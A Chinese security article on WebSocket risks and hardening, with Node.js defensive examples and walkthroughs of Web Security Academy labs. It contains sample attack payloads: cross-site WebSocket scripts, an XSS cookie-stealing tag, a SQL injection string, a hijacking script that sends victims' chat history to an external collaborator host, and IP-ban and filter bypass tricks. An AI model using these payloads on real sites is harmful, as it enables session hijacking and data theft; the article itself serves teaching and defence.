WebSocket 安全手册:从实验到防御实践
WebSocket提供实时通信功能,但存在跨站攻击、CSRF和XSS等安全隐患。需通过加密传输、验证来源和消息过滤等措施加强安全防护。 2025-11-4 06:4:27 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

WebSocket 这玩意儿,说白了就是浏览器和服务器之间的一个“长连接”通道。它能实现实时通信,比传统 HTTP 那种请求-响应模式灵活多了,用在即时聊天、在线监控、协作编辑、行情推送这些场景都挺香。
但凡事有利有弊,WebSocket 一旦被滥用,也可能变成攻击者的好帮手。下面就从安全隐患和防御思路两方面,结合实际经验聊聊。
本文基于常见漏洞和最佳实践进行扩展,旨在提供更全面的指导。


一、WebSocket 的基本原理

WebSocket 其实是基于 HTTP 协议升级(Upgrade)的。
客户端先发一个普通的 HTTP 请求,带上Upgrade: websocket头,服务端确认后,连接就从 HTTP 变成了双向的 WebSocket 通道。

例如,一个典型的 WebSocket 握手请求头可能如下(使用 HTTP/1.1):

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com

服务端响应:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

它的特点是:

  • 持久连接:一旦建立,就能持续双向通信,不用频繁重连。

  • 数据轻量:传输的是帧(Frame),开销小,实时性强。

  • 跨域限制弱:不像 Ajax 那样严格遵守同源策略。

问题也恰恰出在这里——安全机制太“宽松”。WebSocket 帧结构包括 opcode(如文本/二进制/关闭)、payload 等,如果未加密,容易被中间人篡改。

image.png


二、常见安全隐患

WebSocket 的灵活性带来了多种潜在风险。以下扩展了常见隐患,并结合实际例子说明。

image.png

1. WebSocket 无同源限制

WebSocket 不受浏览器同源策略限制,这意味着:

  • 任意网页都能发起连接;

  • 如果服务器没做好校验,攻击者可以伪造请求发到目标服务上;

  • 甚至能直接操作真实用户的会话(如果 session 没隔离好)。

举个例子,你访问了一个恶意网站,它偷偷写了几行 JS:

let ws = new WebSocket("wss://target-site.com/socket");
ws.onopen = () => ws.send("delete_all_data");

如果服务器没验证来源(Origin),这条命令可能就真被执行了。另外,在跨站 WebSocket 劫持(CSWSH)中,攻击者可利用受害者的 cookie 发起连接,窃取实时数据。

2. CSRF 攻击(跨站请求伪造)

CSRF 在 WebSocket 场景下其实更隐蔽。
攻击者可以引导用户访问恶意网页,然后用受害者的 cookie 发起 WebSocket 连接。
因为 WebSocket 默认会带上浏览器 cookie,所以如果服务端没做 token 校验,攻击者就能以受害者身份操作系统。

例如,攻击者构造一个恶意页面:

<script>
  var ws = new WebSocket('wss://victim-site.com/chat');
  ws.onopen = function() {
    ws.send('transfer_funds_to_attacker');
  };
</script>

如果握手无 CSRF 保护,攻击成功。

3. XSS 注入导致的会话劫持

如果 WebSocket 消息里包含可被前端解析的内容(比如 HTML 或脚本),那就可能出现 XSS。
比如后端把别的用户发来的消息直接返回给前端渲染,一旦有人发<script>标签过去,前端就被注入了。

实际例子:在聊天应用中,发送 JSON 消息:

{"message": "<img src=1 onerror='alert(document.cookie)'>"}

如果前端直接插入 DOM 而未转义,将触发 XSS,窃取 cookie 或劫持会话。

4. 信息泄露与流量劫持

WebSocket 默认是明文传输(ws://),如果不用加密通道(wss://),中间人就能窃听通信内容。
尤其在内网或公共 Wi-Fi 环境中,流量被截获、注入恶意帧的概率相当高。

例如,使用 Wireshark 捕获 ws:// 流量,能直接看到明文帧,如 opcode=1(文本)的 payload。升级到 wss:// 可防止此问题,但需注意 TLS 配置。

5. 拒绝服务攻击(DoS)

WebSocket 是长连接,一旦被滥用就很容易压垮服务器。

  • 攻击者可以批量创建连接不释放;

  • 也可以不断发送无效帧或垃圾消息,占满资源;

  • 服务端如果没加限流和心跳检测,很快就会被拖死。

扩展:分布式 DoS(DDoS)可通过 botnet 洪泛连接,每个发送大 payload(如 >64KB),耗尽内存。

6. 权限控制缺失

不少人以为 WebSocket 是“内部通讯”,不做权限验证。
结果攻击者一旦知道 WebSocket 接口地址,就能随意操作后端功能,比如执行命令、读取数据。
这在一些管理系统、监控系统中尤其常见。

另外,注入攻击如 SQL 注入:发送消息{"user": "admin' OR 1=1 --"},若未参数化查询,可绕过认证。


三、防御与安全加固实践

针对上述隐患,以下是实用防御措施。扩展了代码示例和数据包细节,以 Node.js 为例。

1. 强制使用 WSS 加密通道

最基础的安全措施。
配置 SSL/TLS 证书后,只允许wss://协议通信。这样可以防止流量被监听或篡改。

在服务器配置中,确保拒绝 ws:// 连接,并使用 HSTS 头强制 HTTPS。

2. 验证来源(Origin)与 Host

服务器端一定要校验请求头中的OriginReferer
比如在握手阶段拦截非法来源:

const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  const allowedOrigins = ['https://trusted-site.com'];
  if (!allowedOrigins.includes(origin)) {
    ws.close(1008, 'Invalid origin');
    return;
  }
  // 继续处理
});

这样外部恶意网页就算知道你的地址,也无法建立连接。

3. 会话隔离与 Token 鉴权

不要只依赖浏览器的 cookie。
推荐用 JWT 或自定义 token 进行身份校验,比如:

  • 客户端建立连接时附带 token;

  • 服务端校验 token 是否有效;

  • 每隔一段时间重新验证,防止劫持。

示例:使用查询参数传递 token(注意日志中红action):

// 客户端
const ws = new WebSocket('wss://example.com/socket?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// 服务端
wss.on('connection', (ws, req) => {
  const url = require('url');
  const token = url.parse(req.url, true).query.token;
  if (!verifyJWT(token)) {
    ws.close(1008, 'Invalid token');
  }
});

4. 消息内容过滤与转义

前端和后端都要对消息内容做严格校验,避免注入。

  • 禁止直接渲染用户输入;

  • 对 HTML、JS、SQL 特殊字符做转义;

  • 只接受规定格式的消息结构,比如 JSON。

示例:使用 schema 验证消息:

const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
  type: 'object',
  properties: { action: { type: 'string', enum: ['update', 'delete'] } },
  required: ['action']
};

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (!ajv.validate(schema, msg)) {
    ws.close(1003, 'Invalid message');
  }
});

5. 加入心跳与超时机制

WebSocket 连接容易“僵死”,所以要定期检测连接状态。
同时,对空闲太久的连接自动关闭,以防 DoS。

setInterval(() => {
  ws.send(JSON.stringify({ type: "ping" }));
}, 30000);

ws.on('message', (data) => {
  if (JSON.parse(data).type === 'pong') {
    // 保持连接
  }
});

服务端检测不到心跳就断开连接。

6. 限流与并发控制

对连接数、消息速率做限制:

  • 每个 IP 最多允许多少连接;

  • 单位时间内最多接收多少消息;

  • 超限后封禁或延迟响应。

示例:简单速率限制

let msgCount = 0;
setInterval(() => { msgCount = 0; }, 60000); // 重置每分钟
ws.on('message', () => {
  if (msgCount > 100) {
    ws.close(1008, 'Rate limit exceeded');
  }
  msgCount++;
});

7. 权限与命令白名单

不要让前端随意发指令。
可以定义一个严格的白名单或命令协议,例如:

{
  "action": "update_status",
  "data": {"id": 1, "status": "ok"}
}

后端只处理已注册的 action,其他一律拒绝。

结合授权检查:

const allowedActions = ['update_status'];
if (!allowedActions.includes(msg.action) || !userHasPermission(user, msg.action)) {
  ws.send(JSON.stringify({ error: 'Forbidden' }));
}

8. 日志与安全审计

实时记录连接建立、断开、消息传输、异常行为。
日志里应包含来源 IP、User-Agent、时间、消息类型。
长期分析这些日志可以发现异常访问模式,比如同一 IP 频繁连接、发送非法命令等。

使用工具如 ELK Stack 监控,并警报异常(如连接率激增)。


四、实战中的常见误区

有些开发者觉得:

“WebSocket 是内网的,不需要太多安全策略。”

这其实是最大的坑。
因为:

  • 很多攻击都是通过内网跳板;

  • 一旦前端被劫持(XSS 或钓鱼),WebSocket 通信也就不再安全;

  • 内网系统常常缺乏加密、认证机制,一旦泄露接口,后果严重。

实验一:操控 WebSocket 消息以利用XSS漏洞

背景

这是个在线商店使用 WebSockets 实现了实时聊天功能,提交的聊天消息会实时被客服人员查看。
image.png
也可以在burp上查看流量过程
image.png

实验

1.在聊天窗口输入<123>查看是否存在编码:
image.png
2.拦截抓包,修改发送的消息即可绕过前端对输入的内容的编码:
image.png
3.查看页面,确认存在xss漏洞:
image.png

实验二:跨站 WebSocket 劫持

1.点击"Live chat"并发送一条聊天消息。
image.png
2.在 Burp 代理中,在 WebSocket 历史记录标签页中,观察到"READY"命令从服务器获取过去的聊天消息。
image.png
3.在 Burp 代理的 HTTP 历史记录标签页中,找到 WebSocket 握手请求。观察该请求没有 CSRF 令牌。
image.png
4.接下来构造csrf payload,查看wss地址。
image.png
将collaborator-url 替换为 Burp Collaborator 生成的有效载荷。
image.png
5.在攻击服务器上放一个带有payload的html。
这里需要将https://your-collaborator-url替换为受攻击url。

<script>
    var ws = new WebSocket('wss://0a7e007204e7d4758a91191500940080.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://2nqd6z8bt3xl2ea3xoswy2ekrbx2lt9i.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

6.攻击
image.png
查看collaborator,根据获得的流量,是别人的聊天记录:
image.png
即可获得别人的账号密码。

image.png
登陆成功!

实验三:操控 WebSocket 握手以利用漏洞

背景:该聊天框存在xss漏洞
首先按照实验一进行测试:
image.png
存在攻击,ip被ban了
image.png
这里可以用xff尝试:
image.png
修改后可以正常访问:
image.png
这里传统的攻击可以被阻拦,可以大小写绕过:
image.png
可以绕过:
image.png


五、总结

WebSocket 的实时特性确实提升了交互体验,但它带来的安全隐患也不容小觑。
一句话总结就是:你把门打开方便通信了,但也得记得加锁。

实践中,至少要做到:

  1. 使用 WSS;

  2. 校验来源;

  3. 加 token;

  4. 控速、限连;

  5. 日志留痕;

  6. 定期做渗透测试和安全扫描。

此外,保持依赖库更新,避免使用过时组件,并使用工具如 Burp Suite 或 OWASP ZAP 测试漏洞。
只要这些基本安全措施到位,WebSocket 依然是非常强大的实时通信技术。


文章来源: https://www.freebuf.com/articles/web/455513.html
如有侵权请联系:admin#unsafe.sh